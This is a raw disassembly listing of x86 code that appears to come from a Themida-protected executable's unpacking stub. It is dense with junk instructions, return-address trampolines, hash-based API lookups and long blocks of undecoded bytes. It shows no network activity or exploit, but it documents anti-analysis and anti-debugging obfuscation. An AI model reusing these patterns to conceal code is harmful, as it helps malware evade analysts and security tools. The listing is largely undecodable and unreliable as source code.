		mov	[ebp+60B03A9h],	ecx
		mov	bx, ds
		call	sub_56D389
		mov	cl, 0D4h
		mov	bh, 80h
		mov	ds:6CF5B4E4h, al
		add	byte ptr [ecx],	3Ah
		sbb	edx, 1Fh
		inc	eax
		xchg	eax, ebx
		and	ebx, [eax]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_56D389	proc near		; CODE XREF: Themida_:0056D371p
		jmp	sub_56D398
sub_56D389	endp

; ---------------------------------------------------------------------------
		dw 8BB7h
		dd 22DF6604h, 0ED18204Ah

; =============== S U B	R O U T	I N E =======================================



sub_56D398	proc near		; CODE XREF: sub_56D389j

; FUNCTION CHUNK AT 0056D937 SIZE 00000053 BYTES
; FUNCTION CHUNK AT 0056D998 SIZE 0000000E BYTES

		pop	edi
		xor	[ebp+60B29E5h],	ecx
		test	bl, 4
		jz	loc_56D937
		mov	dword ptr [ebp+60B0B19h], 0
		push	0
		push	edx
		call	sub_56D3BD
		and	[edx-3Dh], bl
sub_56D398	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_56D3BD	proc near		; CODE XREF: sub_56D398+1Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_56D3BD	endp

; ---------------------------------------------------------------------------
		db 0F4h, 5Bh, 0DDh
; ---------------------------------------------------------------------------
		adc	[edi+424665B7h], bl
		pop	edi
		push	edi
		movsx	edx, bx
		pop	ecx
		and	cx, 9B06h
		cmp	byte ptr [ebp+60E00F9h], 0
		jnz	loc_56D406
		jmp	loc_56D406
; ---------------------------------------------------------------------------
		and	al, 4Eh
		adc	dh, ah
		rcr	dword ptr [edx], 0FFh
		mov	edx, 4EA70CCFh
		icebp
		sbb	eax, 0D04FCCB4h
		retf
; ---------------------------------------------------------------------------


loc_56D406:				; CODE XREF: Themida_:0056D3E8j
					; Themida_:0056D3EEj
		mov	byte ptr [ebp+60B2845h], 47h
		sub	[ebp+60B0609h],	edi
		push	0E3E45B86h
		xor	[ebp+60B0AE5h],	esi
		push	dword ptr [ebp+60B0B01h]
		push	0
		push	ebp
		call	sub_56D42F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56D42F	proc near		; CODE XREF: Themida_:0056D427p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_56D42F	endp

; ---------------------------------------------------------------------------
		db 0E8h
		dd 0C55923E2h, 66FD1F6Dh, 8B5840BAh, 0B2099BDh,	0D858D06h
		dd 80060B39h, 0D0FFFDE6h, 8E9h,	51D26000h, 0ABAE947Bh
		dd 104685Eh, 0C6BF0000h, 8D63433Ch, 0B099D9Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0B625F682h, 2367697Fh, 0B00F9BDh, 81665306h,	0FFD666DFh
		dd 0D3B70FD0h, 0ABEF8166h, 9D858D26h, 89060B09h, 0B1F71BDh
		dd 64B65006h, 0AB858Dh,	6A060Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 2A91B8C3h, 0FFF91F09h
		dd 50006A50h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 1002EE54h, 661BC8EAh, 8D3FAAB9h,	0DF77E85h
		dd 9D895006h, 60B2AA5h,	0D95FFh, 6660060Bh, 9A15E981h
		dd 8361F78Ah, 13E90CC4h, 52000000h, 97AE0821h, 0F5D0F9B6h
		dd 3B34F330h, 750115C1h, 6AAE66h, 8068h, 6A036A00h, 68006A00h
		dd 80000000h, 0F77E858Dh, 0FF50060Dh, 0B026595h, 8E858906h
		dd 0C6060E00h, 0B284585h, 87684706h, 0FFC7B15Eh, 0B0B01B5h
		dd 0D858D06h, 0FF060B39h, 0FF006AD0h, 0E008EB5h, 8BD0FF06h
		dd 0B0C2D8Dh, 3D29B506h, 37D0h,	4C830Fh, 958B0000h, 60B13C1h
		dd 8EB5FFh, 0B589060Eh,	60B059Dh, 161FD981h, 95FF52E4h
		dd 60B0B8Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0F9C35242h, 9C808EBh, 0D7BF0F0Dh, 115E9h, 0FC10BF00h
		dd 0B5FF3A5Eh, 60E008Eh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0D6C35343h, 0FF8F6331h, 0B0B8D95h, 0E18D8B06h
		dd 6A060B28h, 0D68B6600h, 820F006Ah, 6,	2041B529h, 0BD8B060Bh
		dd 60B0079h, 8B66006Ah,	0B1006ACFh, 66006AB0h, 6AF88Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0BC35343h
		dd 8D473ACDh, 0E009285h, 3D9D8906h, 50060B05h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 54C35747h, 3FEF0DBAh
		dd 6595FF72h, 6A060B02h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E90FC357h,	11h, 0CD2C38FDh
		dd 28179745h, 11DCC0E0h, 9B055134h, 0FFF883F5h,	188850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0C459F0C3h, 1F07F551h, 69D958Bh, 858D060Bh
		dd 60DBB83h, 0B966D0FFh, 6AFAC3h, 0AE957h, 0BAF10000h
		dd 0A420E6C1h, 76CC2D5Bh, 1006A5Fh, 0B04CD85h, 60606006h
		dd 8D8D8961h, 61060B09h, 82DDCCB8h, 6A612Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 6EC35141h, 0F8BF0FD5h
		dd 55B6006Ah, 6A6BC980h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0F299FF4Fh, 0F0D2D984h
		dd 6AE723h, 98F3F181h, 858D734Dh, 60E0092h, 6958D0Bh, 8950060Bh
		dd 0B0F098Dh, 6595FF06h, 0E8060B02h, 13h, 0D6686C9Dh, 98B75CB0h
		dd 0F5872D2Ch, 5529ADDh, 0FA8921Eh, 28Fh, 59616000h, 0FFFF883h
		dd 8D85h, 0B5B58900h, 8D060B1Fh, 0DFA9AB5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8DCC95C3h, 0DA5F985h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0FFCB8713h, 8138B2D0h
		dd 31CB99C9h, 66006A0Ah, 0D809EA81h, 3699589h, 95FF060Bh
		dd 60B2F4Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0F4C35646h, 0AD7E6DAAh,	8589FA8Bh, 60E008Eh, 2AE18D8Bh
		dd 6A060Bh, 59D78B53h, 86858Dh,	0C8B5060Eh, 0D7816650h
		dd 46ACEECh, 28E5BD23h,	8D8B060Bh, 60B1E85h, 1F75858Dh
		dd 0BD8B060Bh, 60B1A59h, 0D68B6650h, 0F83CCF81h, 6A46ADh
		dd 8D8B006Ah, 60B0259h,	168D0Fh, 11E90000h, 14000000h
		dd 9025C0DFh, 0C7BB1366h, 0B0E3CEC8h, 6655D5A3h, 6E9016Ah
		dd 8000000h, 0E87602Eh,	8EB5FF3Ah, 0E9060E00h, 12h, 0D303E876h
		dd 0CA5410ECh, 37631970h, 0B3E9E178h, 95FFA526h, 60B0599h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B1C35141h
		dd 2FFE81BAh, 46E9E94Eh, 0E800001Bh, 6,	0EE814A2Dh, 840F48E5h
		dd 6, 0BDDBD33h
; ---------------------------------------------------------------------------
		or	eax, [esi]
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_56D398


loc_56D937:				; CODE XREF: sub_56D398+Aj
		mov	eax, eax
		stc
		cmp	dword ptr [ebp+60B05BDh], 0
		jnz	short loc_56D94C
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_56D965


loc_56D94C:				; CODE XREF: sub_56D398+5A9j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D2h
		mov	[ebp+60B2A35h],	eax
		lea	ebx, [ebp+60DB31Ah]
		call	ebx
		pop	ebx
		pop	eax


loc_56D965:				; CODE XREF: sub_56D398+5B2j
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_56D985
		push	eax
		push	ebx
		mov	eax, 7D2h
		mov	[ebp+60B2A35h],	eax
		lea	ebx, [ebp+60DB009h]
		call	ebx
		pop	ebx
		pop	eax


loc_56D985:				; CODE XREF: sub_56D398+5D4j
		jmp	loc_56D998
; END OF FUNCTION CHUNK	FOR sub_56D398
; ---------------------------------------------------------------------------
		dw 1E37h
		dd 0FF8A4AACh, 5D08C6AAh, 0FE6B1D7Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D398


loc_56D998:				; CODE XREF: sub_56D398:loc_56D985j
		mov	cx, bx
		push	0
		push	edi
		call	sub_56D9A6
		and	[edi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_56D398

; =============== S U B	R O U T	I N E =======================================



sub_56D9A6	proc near		; CODE XREF: sub_56D398+606p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_56D9A6	endp

; ---------------------------------------------------------------------------
		dw 6C1Bh
		db 2Eh,	8Bh, 0C0h
; ---------------------------------------------------------------------------
		call	sub_56D9C7
		mov	ecx, 0C2077203h
		movsb
		std

; =============== S U B	R O U T	I N E =======================================



sub_56D9C7	proc near		; CODE XREF: Themida_:0056D9BBp

; FUNCTION CHUNK AT 0056DB77 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0056DBBE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056DBD4 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056F465 SIZE 00000011 BYTES

		mov	ecx, [ebp+60B0C41h]
		pop	ecx
		mov	dword ptr [ebp+60B0B19h], 1
		jmp	loc_56D9EE
; ---------------------------------------------------------------------------
		db 26h,	38h, 0Fh
		dd 0BF4565D4h, 0B193EE47h, 2F74AEC7h
		db 64h,	71h
; ---------------------------------------------------------------------------


loc_56D9EE:				; CODE XREF: sub_56D9C7+11j
		push	0CEE4E7B8h
		push	dword ptr [ebp+60B194Dh]
		lea	eax, [ebp+60B390Dh]
		call	eax
		mov	[ebp+60B1865h],	eax
		push	0C005DBD4h
		push	dword ptr [ebp+60B194Dh]
		lea	eax, [ebp+60B390Dh]
		call	eax
		mov	[ebp+60B2A61h],	eax
		lea	eax, [ebp+60DF537h]
		push	eax
		push	dword ptr [ebp+60B0B01h]
		call	dword ptr [ebp+60B13D1h]
		or	eax, eax
		jz	short loc_56DA42
		mov	ebx, eax
		lea	eax, [ebp+60E04EAh]
		push	eax
		call	ebx


loc_56DA42:				; CODE XREF: sub_56D9C7+6Ej
		lea	eax, [ebp+60E04EAh]
		cmp	word ptr [eax],	9
		jnz	short loc_56DA58
		mov	dword ptr [ebp+60B0DB1h], 1


loc_56DA58:				; CODE XREF: sub_56D9C7+85j
		call	dword ptr [ebp+60B165Dh]
		and	eax, 0FFh
		cmp	eax, 5
		jnb	short loc_56DA72
		mov	dword ptr [ebp+60B2859h], 1


loc_56DA72:				; CODE XREF: sub_56D9C7+9Fj
		jmp	loc_56DA83
; ---------------------------------------------------------------------------
		db 0C5h
		dd 82FF728Bh, 0CED6CE05h
		db 21h,	0ACh, 77h
; ---------------------------------------------------------------------------


loc_56DA83:				; CODE XREF: sub_56D9C7:loc_56DA72j
		jmp	loc_56DA96
; ---------------------------------------------------------------------------
		dd 0D1492DC6h, 4834CF2h, 9DD0919Eh
; ---------------------------------------------------------------------------
		scasb
		push	edx


loc_56DA96:				; CODE XREF: sub_56D9C7:loc_56DA83j
		cmp	byte ptr [ebp+60E00F9h], 0
		jnz	loc_56DAB4
		mov	edi, [ebp+60B0331h]
		jmp	loc_56F465
; ---------------------------------------------------------------------------
		mov	edx, [ebp+60B08B1h]


loc_56DAB4:				; CODE XREF: sub_56D9C7+D6j
		cmp	dword ptr [ebp+60B0DB1h], 0
		jnz	loc_56DB77
		push	edi
		mov	dl, 0Ah
		pop	ecx
		lea	eax, [ebp+60E00C3h]
		push	0
		push	edi
		call	sub_56DAD6
		and	[edi-3Dh], bl
sub_56D9C7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_56DAD6	proc near		; CODE XREF: sub_56D9C7+107p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_56DAD6	endp

; ---------------------------------------------------------------------------
		dw 356Dh
; ---------------------------------------------------------------------------
		icebp
		pop	edx
		cmpsb
		sub	al, 89h
		mov	ch, 0ADh
		or	eax, 8B50060Bh
		lea	edx, [ecx]
		sbb	[ebx], cl
		push	es
		push	1
		mov	di, si
		push	0
		push	0
		push	edx
		call	sub_56DB0B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56DB0B	proc near		; CODE XREF: Themida_:0056DB03p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_56DB0B	endp

; ---------------------------------------------------------------------------
		mov	dword ptr [eax-4CEC0163h], 89FA53B0h
		lea	ebx, [ebp+0F060B0Fh]
		mov	bh, 0D1h
		push	0
		pusha
		push	eax
		adc	bh, 3
		pop	esi
		pusha
		mov	eax, edi
		popa
		popa
		and	edi, [ebp+60B0BC5h]
		call	dword ptr [ebp+60B27A5h]
		mov	ecx, edi
		mov	[ebp+60E00EDh],	eax
		jge	loc_56DB57
		mov	ch, 10h


loc_56DB57:				; CODE XREF: Themida_:0056DB4Fj
		push	0FFFFFFFFh
		sbb	edi, 4E6095Eh
		push	dword ptr [ebp+60E00EDh]
		mov	edi, [ebp+60B1F69h]
		call	dword ptr [ebp+60B2411h]
		mov	edx, [ebp+60B1505h]
; START	OF FUNCTION CHUNK FOR sub_56D9C7


loc_56DB77:				; CODE XREF: sub_56D9C7+F4j
		lea	eax, [ebp+60DF4FEh]
		mov	edx, [ebp+60B2181h]
		jbe	loc_56DB8F
		mov	[ebp+60B1FA9h],	ebx


loc_56DB8F:				; CODE XREF: sub_56D9C7+1BCj
		push	eax
		mov	ecx, [ebp+60B2125h]
		sub	[ebp+60B2F39h],	eax
		call	dword ptr [ebp+60B2875h]
		mov	edi, [ebp+60B12A5h]
		mov	[ebp+60DF588h],	eax
		jmp	loc_56DBBE
; END OF FUNCTION CHUNK	FOR sub_56D9C7
; ---------------------------------------------------------------------------
		db 14h
		dd 0FE0E2389h, 0F3016B9Eh
; ---------------------------------------------------------------------------
		mov	bh, 59h
; START	OF FUNCTION CHUNK FOR sub_56D9C7


loc_56DBBE:				; CODE XREF: sub_56D9C7+1E7j
		lea	eax, [ebp+60DF50Bh]
		jmp	loc_56DBD4
; END OF FUNCTION CHUNK	FOR sub_56D9C7
; ---------------------------------------------------------------------------
		db 75h,	0D5h, 0D7h
		db 0CCh
		align 2
		pop	esi
		pop	esi
		lodsb
		mov	ah, [ecx]
		push	eax
; START	OF FUNCTION CHUNK FOR sub_56D9C7


loc_56DBD4:				; CODE XREF: sub_56D9C7+1FDj
		push	eax
		call	near ptr loc_56DBE5+1
		mov	ds:20F540B1h, al
		sbb	eax, 0AC89A76Dh
		pop	ds


loc_56DBE5:				; CODE XREF: sub_56D9C7+20Ep
		bound	ecx, [ebx]
		xchg	eax, ebp
		pop	ecx
		sub	ecx, [ebx]
		push	es
		pop	edi
		push	dword ptr [ebp+60DF588h]
		push	0
		push	esi
		call	sub_56DBFE
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_56D9C7

; =============== S U B	R O U T	I N E =======================================



sub_56DBFE	proc near		; CODE XREF: sub_56D9C7+22Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_56DBFE	endp

; ---------------------------------------------------------------------------
		dw 7C36h
; ---------------------------------------------------------------------------
		sbb	cx, 0FCC3h
		push	edx
		sub	[ebp+60B0415h],	ecx
		pop	ecx
		call	dword ptr [ebp+60B13D1h]
		push	0
		push	ebx
		call	sub_56DC2E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56DC2E	proc near		; CODE XREF: Themida_:0056DC26p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_56DC2E	endp

; ---------------------------------------------------------------------------
		jge	short loc_56DC7D
		adc	al, 0EEh
		mov	edx, [ebp+60B059Dh]
		mov	di, si
		mov	[ebp+60B1B8Dh],	eax
		push	0
		push	eax
		call	sub_56DC5C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56DC5C	proc near		; CODE XREF: Themida_:0056DC54p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_56DC5C	endp

; ---------------------------------------------------------------------------
		dd 0E800B598h, 8, 767FDD78h, 1FBA2F6Ah
; ---------------------------------------------------------------------------
		push	esi


loc_56DC7D:				; CODE XREF: Themida_:0056DC3Ej
		adc	dh, 15h
		pop	edi
		pop	edx
		jmp	loc_56DC8C
; ---------------------------------------------------------------------------
		db 28h
		dd 32749303h
; ---------------------------------------------------------------------------


loc_56DC8C:				; CODE XREF: Themida_:0056DC82j
		lea	eax, [ebp+60DF579h]
		mov	[ebp+60B0979h],	edi
		mov	ecx, esi
		push	eax
		mov	ecx, [ebp+60B3351h]
		push	dword ptr [ebp+60DF588h]
		cld
		mov	edi, [ebp+60B02C9h]
		call	dword ptr [ebp+60B13D1h]
		mov	[ebp+60B16BDh],	edi
		jmp	loc_56DCC5
; ---------------------------------------------------------------------------
		db 9, 0E4h
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		inc	edi
		les	esi, [edi]


loc_56DCC5:				; CODE XREF: Themida_:0056DCBAj
		mov	[ebp+60DF59Ch],	eax
		push	0
		push	ebx
		call	sub_56DCD6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56DCD6	proc near		; CODE XREF: Themida_:0056DCCEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_56DCD6	endp

; ---------------------------------------------------------------------------
		dw 0C018h
		dd 10E8E064h, 29000000h, 0BB5F5383h, 146D78B3h,	0C215D8DEh
		dd 0B531321Ah, 858D5973h, 60DF558h, 72E5CA81h, 8B500E0Ah
		dd 0B20698Dh, 318D8B06h, 0FF060B2Fh, 0DF588B5h,	0CBBF0F06h
		dd 3C99D89h, 95FF060Bh,	60B13D1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 4EC35747h, 38E119h,	8B18EE0Ah
		dd 0B01658Dh, 94858906h, 50060DF5h, 0F8BF0F60h,	27359D8Bh
		dd 5F61060Bh, 0F54B858Dh, 6A060Dh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 50A818C3h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0D8C35646h, 0A0E1F16Ah
		dd 66DFC69Bh, 0FF0889B9h, 0DF588B5h, 0EE806h, 0F8420000h
		dd 2FAC39B4h, 0B2FFE26Ch, 208FAD52h, 1375BD2Bh,	895A060Bh
		dd 0B014995h, 0D195FF06h, 8B060B13h, 0B063D95h,	0B5295106h
		dd 60B00F1h, 9885895Fh,	8A060DF5h, 66858DD3h, 81060DF5h
		dd 7DEF0DE9h, 0E2815020h, 4775E9EBh, 0F588B5FFh, 6A060Dh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 7D3814C3h, 0E8E0DA5Ah, 12h, 0EE035520h, 4BCD8277h, 0AC87392h
		dd 4B762E26h, 0EF8A06EDh, 95FFFC59h, 60B13D1h, 0F18589F5h
		dd 0E9060B02h, 8, 6C0DCF21h, 686B57B8h,	0F51A858Dh, 0B70F060Dh
		dd 0B70F50D0h, 88B5FFD7h, 0B9060DF5h, 352385E0h, 13D195FFh
		dd 0B966060Bh, 85892CE7h, 60DF58Ch, 15298D0Bh, 0CE8060Bh
		dd 0BF000000h, 91CD4019h, 28B5B065h, 891AC02Eh,	0B0439BDh
		dd 858D5F06h, 60DF529h,	68B0Fh,	8D8B0000h, 60B22F1h, 0BD2B5750h
		dd 60B31B5h, 88B5FF5Fh,	0E9060DF5h, 10h, 0F3066DA2h, 0A1C3F032h
		dd 8F255D9h, 0E57777C9h, 13D195FFh, 0E680060Bh,	908589BEh
		dd 0B2060DF5h, 0FE9C9h,	54910000h, 6AF6D185h, 2DE06BAFh
		dd 0B75D83F3h, 1046893h, 870F0000h, 6, 45B589h,	858D060Bh
		dd 60DF620h, 4099589h, 6050060Bh, 0CDD9589h, 11E8060Bh
		dd 0A7000000h, 0B41DF14Eh, 0CBD04FCCh, 28D6D084h, 347129B9h
		dd 20B5B523h, 615B060Bh, 0F724858Dh, 0BD89060Dh, 60B1FB5h
		dd 53006A50h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0DE2AB413h, 3EEAB696h, 6860Fh, 8D0B0000h
		dd 60B04A9h, 26C19589h,	95FF060Bh, 60B0519h, 0E1816652h
		dd 855FBEF4h, 2850FC0h,	8B000000h, 0F9BD80FAh, 60E00h
		dd 11850Fh, 8D8B0000h, 60B2969h, 14A8E9h, 29B58900h, 83060B31h
		dd 0B0DB1BDh, 850F0006h, 21h, 8B31FEB9h, 0C9BF0F23h, 5A3BD83h
		dd 0F00060Eh, 2584h, 68D0F00h, 89000000h, 0B0B6585h, 0BD858D06h
		dd 0F060DF5h, 66E9D3B7h, 0E9000014h, 12h, 0E719589h, 858D060Bh
		dd 60DF5A8h, 122D958Bh,	6A50060Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8BC4C356h
		dd 0B0EF18Dh, 20858D06h, 81060DF6h, 0BB6DC5EFh,	0B9665007h
		dd 0BD83CE07h, 60B0DB1h, 71840F00h, 0E9000000h,	8, 52A5D089h
		dd 0DBB575F6h, 0F746858Dh, 6A060Dh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 14697AC3h
		dd 0EA22BF7Ah, 5ED8D8Bh, 8A0F060Bh, 11h, 0B8D0Fh, 6E90000h
		dd 0E0000000h, 4DAC5723h, 26E994h, 29600000h, 0B0341B5h
		dd 6860F06h, 89000000h,	0B067985h, 0B5896106h, 60B0F61h
		dd 0F72F858Dh, 8D89060Dh, 60B00D9h, 7E858D50h, 66060DF7h
		dd 8950FE8Bh, 0B21A985h, 0D95FF06h, 0F060B00h, 0C280D7BFh
		dd 10C48377h, 0FAACBF66h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0A2180FC3h, 0BD837A8Ch
		dd 60B05BDh, 83097500h,	0B29D1BDh, 19740006h, 0C08B5350h
		dd 7D3B8h, 35858900h, 8D060B2Ah, 0DB31A9Dh, 5BD3FF06h
		dd 0D1BD8358h, 60B29h, 53501774h, 7D3B8h, 35858900h, 8D060B2Ah
		dd 0DB0099Dh, 5BD3FF06h, 0B5295358h, 60B1A2Dh, 6870F5Ah
		dd 81000000h, 33959DDAh, 66C08B24h, 0BD81D78Bh,	60DF5A8h
		dd 6165726Fh, 8F840Fh, 0BA660000h, 9D8955AFh, 60B3349h
		dd 0F620858Dh, 8D50060Dh, 0DF75D85h, 858D5006h,	60DF77Eh
		dd 0D95FF50h, 83060B00h, 85C60CC4h, 60B2845h, 184F6844h
		dd 0B5FF96A3h, 60B0B01h, 390D858Dh, 0D0FF060Bh,	858DD88Bh
		dd 60DF77Eh, 8DD3FF50h,	0DF5A885h, 858D5006h, 60DF620h
		dd 0B1BD8350h, 60B0Dh, 858D0874h, 60DF746h, 858D06EBh
		dd 60DF72Fh, 7E858D50h,	50060DF7h, 0D95FFh, 0C483060Bh
		dd 198D2310h, 8B060B07h, 0B17D9BDh, 5D95FF06h, 6A060B16h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0EE00C351h, 25840B76h, 0FFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 10C35343h, 0EDA99ABAh
		dd 0C280986Ch, 0BDEE80F5h, 0F05F883h, 2483h, 5985C700h
		dd 1060B28h, 0F000000h,	58Ch, 7B91BA00h, 858D737Eh, 60DF5DCh
		dd 43E92DB2h, 0B6000000h, 0B1BD836Bh, 60B0Dh, 2E840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 858D6BC3h, 60DF607h, 0DCF8166h, 8E938h, 0FB8B0000h
		dd 0F5E9858Dh, 8589060Dh, 60DF61Ch, 0E9F98B66h,	11h, 9B5548FDh
		dd 93BEE265h, 0FE129581h, 327CF8BAh, 0B1BD83F3h, 60B0Dh
		dd 21850Fh, 0DF810000h,	28B6F77Eh, 9EAB18B9h, 0A3BD8318h
		dd 60E05h, 2F840Fh, 0B70F0000h,	0AD8D23CAh, 0E9060B0Ch
		dd 1135h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	4FC35242h, 0BCF0854Dh, 447E952h, 0BD8B0000h, 60B1599h
		dd 0B589C08Bh, 60B053Dh, 5BDBD83h, 7500060Bh, 0D1BD8309h
		dd 60B29h, 53501974h, 0D4B8C08Bh, 89000007h, 0B2A3585h
		dd 1A9D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh,	17740006h
		dd 0D4B85350h, 89000007h, 0B2A3585h, 99D8D06h, 0FF060DB0h
		dd 8B585BD3h, 0B0DA195h, 0DDB50906h, 8B060B03h,	57006AC0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8952AC8Ah, 0B0D45B5h, 3F685A06h, 6A000F00h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 3841C353h, 5481F0E0h, 0A3203B75h, 67E98166h,	8DBD8927h
		dd 6A060B21h, 0E18D8B00h, 66060B01h, 0F6F3D181h, 8D8B006Ah
		dd 60B0AD1h, 1B8D95FFh,	8D8B060Bh, 60B0F19h, 850FC085h
		dd 9, 1EA18D8Bh, 8B66060Bh, 0A08589CEh,	6A060DF5h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 3280C357h, 95F014CFh, 0CA8BDEFBh, 6AEBB2h, 33758D8Bh
		dd 6A060Bh, 8D8B006Ah, 60B26F5h, 0AE9006Ah, 30000000h
		dd 12647A53h, 2A61FD17h, 8D006A79h, 0DF77E85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0A0658103h, 0F5350FFh, 38Fh,	0CF8B6600h, 8B016A59h
		dd 0B2016AF9h, 29016A15h, 0B299D9Dh, 1FF6806h, 0B966000Fh
		dd 0BD83D9D4h
		dd 60B0DB1h, 2A840F00h,	60000000h, 19359D8Bh, 0CD80060Bh
		dd 858D61BBh, 60DF5FDh,	29FD8D8Bh, 3EE9060Bh, 0E9000000h
		dd 9, 0B19D05EBh, 674F3929h, 0D3858DF3h, 60060DF5h, 61953151h
		dd 5F060B11h, 14E8h, 7240B800h,	0C9753296h, 5F1B3DDAh
		dd 0FE9B5F3h, 0A1959FFh, 0F9852B5Dh, 58060B31h,	6A505061h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 17FC353h,	7CA423BFh, 0E9C2B63Eh, 10h, 6B7DBB91h
		dd 302A4E9Eh, 2BB7659Eh, 72508963h, 0F5A0B5FFh,	0CF8B060Dh
		dd 8C95FFFCh, 0F060DF5h, 681h, 59958B00h, 3060B31h, 0B12B995h
		dd 0FC08506h, 2F85h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 893A3C59h, 0B00E99Dh
		dd 43E906h, 9D890000h, 60B1359h, 0F5A48589h, 8166060Dh
		dd 0FFF0CEE2h, 0DF5A4B5h, 6E906h, 0CF580000h, 0AA55413Ah
		dd 2F195FFh, 8B50060Bh,	0B1FAD95h, 0C0855906h, 0B850Fh
		dd 6E90000h, 0C9000000h, 5FDF793Eh, 2B106AD7h, 0B20BD95h
		dd 5B58906h, 83060B29h,	0B0DB1BDh, 840F0006h, 1Ch, 87DB589h
		dd 858D060Bh, 60DF5FDh,	0D8C641B9h, 12E942h, 0DF810000h
		dd 7A702B7Eh, 0F5D3858Dh, 8531060Dh, 60B0C0Dh, 798D8B50h
		dd 0F060B05h, 689h, 0D9858900h,	0FF060B17h, 0DF5A0B5h
		dd 28F0F06h, 8B000000h,	9895FFCFh, 8B060DF5h, 0FC085FAh
